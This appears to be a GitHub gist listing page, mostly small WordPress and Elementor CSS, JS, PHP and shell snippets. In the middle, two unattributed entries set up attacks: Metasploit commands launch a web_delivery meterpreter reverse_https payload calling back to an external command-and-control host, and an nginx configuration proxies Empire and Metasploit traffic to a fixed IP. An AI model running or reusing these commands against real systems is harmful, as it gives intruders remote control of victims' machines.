Skip to content

Instantly share code, notes, and snippets.

Avatar
👨‍💻

Michael Wender mwender

👨‍💻
View GitHub Profile
@mwender
mwender / replace-hamburger-icon-with-text.css
Created Jul 27, 2022
Use the following CSS to replace the Elementor Nav Widget's mobile dropdown hamburger icon with the word "Menu".
View replace-hamburger-icon-with-text.css
/* Use "Menu" for mobile menu */
selector .elementor-menu-toggle:not(.elementor-active) .elementor-menu-toggle__icon--open.eicon-menu-bar{
display: flex;
padding: 6px;
}
selector .elementor-menu-toggle:not(.elementor-active) .elementor-menu-toggle__icon--open.eicon-menu-bar:before{
content: 'Menu';
font-family: Roboto;
font-size: 18px;
}
@mwender
mwender / close-tabs-on-mobile.js
Created Aug 6, 2021
Loads Elementor's tab widget on mobile with all tabs collapsed.
View close-tabs-on-mobile.js
let intViewportWidth = window.innerWidth;
console.log('🔔 intViewportWidth = ', intViewportWidth );
const activeClass = 'ele-active';
const mobileBreakpoint = '767'; // Our breakpoint ensures this code only runs on small screens.
const mobileTabButtons = document.querySelectorAll('.elementor-tab-mobile-title');
if( intViewportWidth <= mobileBreakpoint ){
/**
* Click handling for Tab buttons.
@mwender
mwender / uber-log.php
Last active Jun 28, 2022
Enhanced logging. Add this to your project and use `tail -f /path/to/your/log.txt` for debugging.
View uber-log.php
<?php
/**
* Enhanced logging.
*
* @param string $message The log message
*/
if( ! function_exists( 'uber_log' ) ){
function uber_log( $message = null ){
static $counter = 1;
@mwender
mwender / hidpi-email-header-image.php
Last active Dec 13, 2018
Filter for displaying a HiDPI image in the header of the WP HTML Email plugin for WordPress
View hidpi-email-header-image.php
<?php
namespace Functions\htmlemail;
/**
* Filters the WP HTML Email header
*
* The following works with a graphic sized at 1200x300px. The
* final display is shown @2X pixel density as the image is
* scaled down to 600x150px.
View launcher-commands.code
use exploit/multi/script/web_delivery
set URIPATH /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Delivery
set DisablePayloadHandler true
set SSL True
set TARGET 2
set payload windows/x64/meterpreter/reverse_https
set LHOST myc2proxy.com
set LPORT 443
set LURI /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Pwned
run -j
View multi-user-nginx-http-proxy.conf
#Analyst 1
location /E0922BB0-684B-4ED3-967E-85D08880CFD5/ {
proxy_redirect off;
#Empire
location /E0922BB0-684B-4ED3-967E-85D08880CFD5/e/ {
proxy_pass https://205.232.71.92:443;
}
#Metasploit
location /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/ {
#Metasploit exploit/multi/script/web_delivery
@mwender
mwender / hidetext.js
Last active Aug 3, 2022
A jQuery based function for showing long blocks of text as an excerpt with a "Read more..." link.
View hidetext.js
(function($){
function hideText( textselector, strlen, moretext ){
strlen = typeof strlen !== 'undefined' ? strlen : 100;
moretext = typeof moretext !== 'undefined' ? moretext : 'Read More';
var sections = $( textselector );
for(var i = 0; i < sections.length; i++ ){
console.log( sections[i] );
var textToHide = $( sections[i] ).html();
var textToCheck = $( sections[i] ).text().substring(strlen);
@mwender
mwender / dropbox-uploader-backups-with-deletion.sh
Last active Oct 27, 2019
Dropbox Uploader database backups with deletion of older files on Dropbox
View dropbox-uploader-backups-with-deletion.sh
#!/bin/bash
# Dropbox Config
dropboxconfig=".dropbox_uploader"
# Database Credentials
dbuser=""
dbpass=""
dbname=""
# Other options
@mwender
mwender / resize-images.sh
Created Dec 9, 2015
Resize images of a specified size and file type.
View resize-images.sh
# Credit: http://unix.stackexchange.com/questions/38943/use-mogrify-to-resize-large-files-while-ignoring-small-ones
identify -format '%w %h %i\n' ./*.jpg |
awk '$1 > 1200 || $2 > 1200 {sub(/^[^ ]* [^ ]* /, ""); print}' |
tr '\n' '\0' |
xargs -0 mogrify -quality 55 -resize '1200x1200'
@mwender
mwender / htaccess-http-to-https
Created Aug 6, 2015
Redirect http to https
View htaccess-http-to-https
# http to https
RewriteEngine On
RewriteCond %{HTTPS} !=on
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R,L]